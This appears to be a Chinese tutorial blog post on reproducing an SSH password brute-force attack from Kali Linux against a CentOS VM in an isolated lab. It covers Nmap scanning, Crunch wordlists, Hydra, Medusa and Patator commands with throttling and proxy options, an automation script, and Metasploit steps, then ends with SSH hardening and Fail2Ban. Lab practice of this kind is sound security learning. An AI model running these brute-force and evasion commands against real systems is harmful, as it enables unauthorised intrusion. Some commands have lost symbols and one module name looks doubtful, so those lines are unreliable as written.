从信息搜集到破解:手把手复现Kali攻击CentOS SSH全流程(含Nmap扫描与Crunch字典生成)
Kali实战安全复现SSH渗透测试全流程解析在虚拟化环境中进行网络安全实验是每位技术爱好者提升实战能力的必经之路。今天我们将深入探讨如何在一个隔离的VMware环境中使用Kali Linux对CentOS系统的SSH服务进行完整的渗透测试流程复现。这不仅是CTF选手的必备技能更是网络安全学习者理解防御机制的重要途径。1. 实验环境搭建与基础准备1.1 虚拟化环境配置搭建安全的实验环境是首要任务。推荐使用VMware Workstation Pro 17创建两个独立虚拟机攻击机Kali Linux 2023.4最新滚动更新版靶机CentOS Stream 9最小化安装网络配置建议采用仅主机模式(Host-Only)确保实验网络与物理主机完全隔离。关键配置参数如下设备类型系统版本内存分配磁盘空间网络适配器Kali Linux2023.4≥4GB≥50GBHost-OnlyCentOSStream 9≥2GB≥30GBHost-Only注意实验前务必确认VMware Tools已正确安装保证剪贴板共享和文件拖拽功能正常这将大幅提升操作效率。1.2 基础服务配置在CentOS靶机上需要确保SSH服务正常运行# 检查SSH服务状态 systemctl status sshd # 若未运行则启动服务 sudo systemctl enable --now sshd # 验证22端口监听状态 ss -tulnp | grep 22同时建议在Kali上安装增强工具包sudo apt update sudo apt install -y \ seclists \ exploitdb \ metasploit-framework \ responder \ bloodhound2. 网络探测与信息收集2.1 存活主机发现技术在假设已知目标网段为192.168.142.0/24的情况下我们可以采用多种方式进行主机发现。以下是比单纯ping扫描更高效的进阶方法ARP扫描方案sudo arp-scan -l --interfaceeth0 --localnet综合发现脚本保存为discovery.sh#!/bin/bash NETWORK192.168.142.0/24 echo [*] Starting ICMP Ping Sweep... nmap -sn $NETWORK -oG ping-sweep.gnmap echo [*] Running ARP Discovery... arp-scan -l --interfaceeth0 | grep -E ([0-9]{1,3}\.){3}[0-9]{1,3} echo [*] Performing TCP SYN Scan... nmap -PS22,80,443 -T4 $NETWORK -oG syn-scan.gnmap # 结果合并与去重 cat *.gnmap | awk /Up$/{print $2} | sort -u live-hosts.txt echo [] Active hosts saved to live-hosts.txt该脚本执行后会在当前目录生成live-hosts.txt文件包含所有存活主机IP。2.2 深度服务探测技术确定目标主机后使用Nmap进行深度扫描sudo nmap -sV -sC -O -p22,80,443,3306,3389 --scriptvuln -T4 192.168.142.130 -oA centos-scan关键参数解析-sV服务版本探测-sC默认脚本扫描-O操作系统检测-p指定端口范围--scriptvuln运行漏洞检测脚本-oA输出所有格式报告扫描结果分析要点SSH服务版本信息如OpenSSH 8.4p1操作系统内核版本开放的非常规端口漏洞脚本检测出的潜在弱点3. 密码字典工程与优化3.1 Crunch字典生成进阶技巧基础密码字典生成crunch 6 6 123456 -o passwords.txt更专业的字典生成策略组合字典生成crunch 8 8 -t ,%%%%^^ -o complex_dict.txt其中代表小写字母,代表大写字母%代表数字^代表特殊字符基于规则的字典假设知道密码包含admincrunch 10 10 -t admin%%%% -o admin_variants.txt3.2 字典优化与合并实际渗透测试中建议组合多种字典源下载知名字典库wget https://github.com/danielmiessler/SecLists/archive/master.zip unzip master.zip字典合并与去重cat passwords.txt admin_variants.txt \ SecLists-master/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt \ | sort -u final_wordlist.txt字典优化按长度过滤awk length($0) 6 length($0) 12 final_wordlist.txt optimized_list.txt4. 多维度SSH暴力破解实战4.1 Hydra高级参数应用基础破解命令hydra -l root -P passwords.txt ssh://192.168.142.130 -t 4 -vV进阶参数组合hydra -L users.txt -P optimized_list.txt \ -e nsr -u -W 3 -f \ -o results.txt \ -M targets.txt \ ssh参数详解-e nsr尝试空密码、用户名作为密码、反向用户名-u尝试每个用户的所有密码默认是每个密码的所有用户-W 3每次尝试后等待3秒-f找到第一个有效凭证后停止-o保存结果到文件-M多目标文件每行一个IP4.2 破解过程优化技巧速率控制避免触发目标系统的防御机制hydra -l root -P dict.txt ssh://192.168.142.130 -t 2 -w 10断点续传hydra -l root -P dict.txt -R ssh://192.168.142.130代理与匿名仅限合法测试hydra -l root -P dict.txt -s 2222 -S proxies.txt ssh://target.com4.3 替代工具与技术除了Hydra还有其他优秀工具可供选择Medusa示例medusa -h 192.168.142.130 -u root -P dict.txt -M ssh -t 6Patator更精准的控制patator ssh_login host192.168.142.130 userroot passwordFILE0 0dict.txt \ -x ignore:mesgAuthentication failed.5. 防御措施与安全加固5.1 SSH服务基础加固在CentOS靶机上进行防御配置sudo vim /etc/ssh/sshd_config关键配置修改Port 2222 # 修改默认端口 PermitRootLogin no # 禁止root直接登录 MaxAuthTries 3 # 最大尝试次数 LoginGraceTime 1m # 登录宽限时间 AllowUsers regular_user # 只允许特定用户 PasswordAuthentication no # 禁用密码认证重启服务生效sudo systemctl restart sshd5.2 高级防御技术Fail2Ban安装配置sudo dnf install -y fail2ban sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local编辑配置文件[sshd] enabled true port 2222 filter sshd logpath /var/log/secure maxretry 3 bantime 1h启动服务sudo systemctl enable --now fail2ban证书认证配置# Kali生成密钥对 ssh-keygen -t ed25519 # 复制公钥到CentOS ssh-copy-id -i ~/.ssh/id_ed25519.pub -p 2222 user192.168.142.1306. 实验扩展与深入研究6.1 自动化渗透测试脚本将整个流程整合为自动化脚本#!/usr/bin/env python3 import subprocess import time TARGET 192.168.142.130 WORDLIST optimized_list.txt def run_cmd(cmd): process subprocess.Popen(cmd, shellTrue, stdoutsubprocess.PIPE) output, _ process.communicate() return output.decode() # 主机发现 print([*] Discovering hosts...) run_cmd(fnmap -sn 192.168.142.0/24 -oN scan.txt) # 服务扫描 print([*] Scanning services...) run_cmd(fnmap -sV -sC -p22 {TARGET} -oA {TARGET}_scan) # 字典生成 print([*] Generating wordlist...) run_cmd(fcrunch 8 8 123456abcdef -o {WORDLIST}) # 暴力破解 print([*] Starting brute force...) result run_cmd(fhydra -l root -P {WORDLIST} {TARGET} ssh -t 4 -vV) print(result)6.2 漏洞利用进阶如果扫描发现特定版本漏洞如OpenSSH 8.4p1漏洞可进行深入研究搜索漏洞利用代码searchsploit openssh 8.4Metasploit框架利用msfconsole use exploit/linux/ssh/openssh_version set RHOSTS 192.168.142.130 exploit手动漏洞验证python3 exploit.py -t 192.168.142.130 -p 22在实验环境中我经常发现初学者容易忽略日志监控的重要性。实际上实时观察靶机的/var/log/secure日志可以直观理解攻击者的行为模式这对构建防御策略至关重要。建议在另一个终端窗口持续监控tail -f /var/log/secure | grep sshd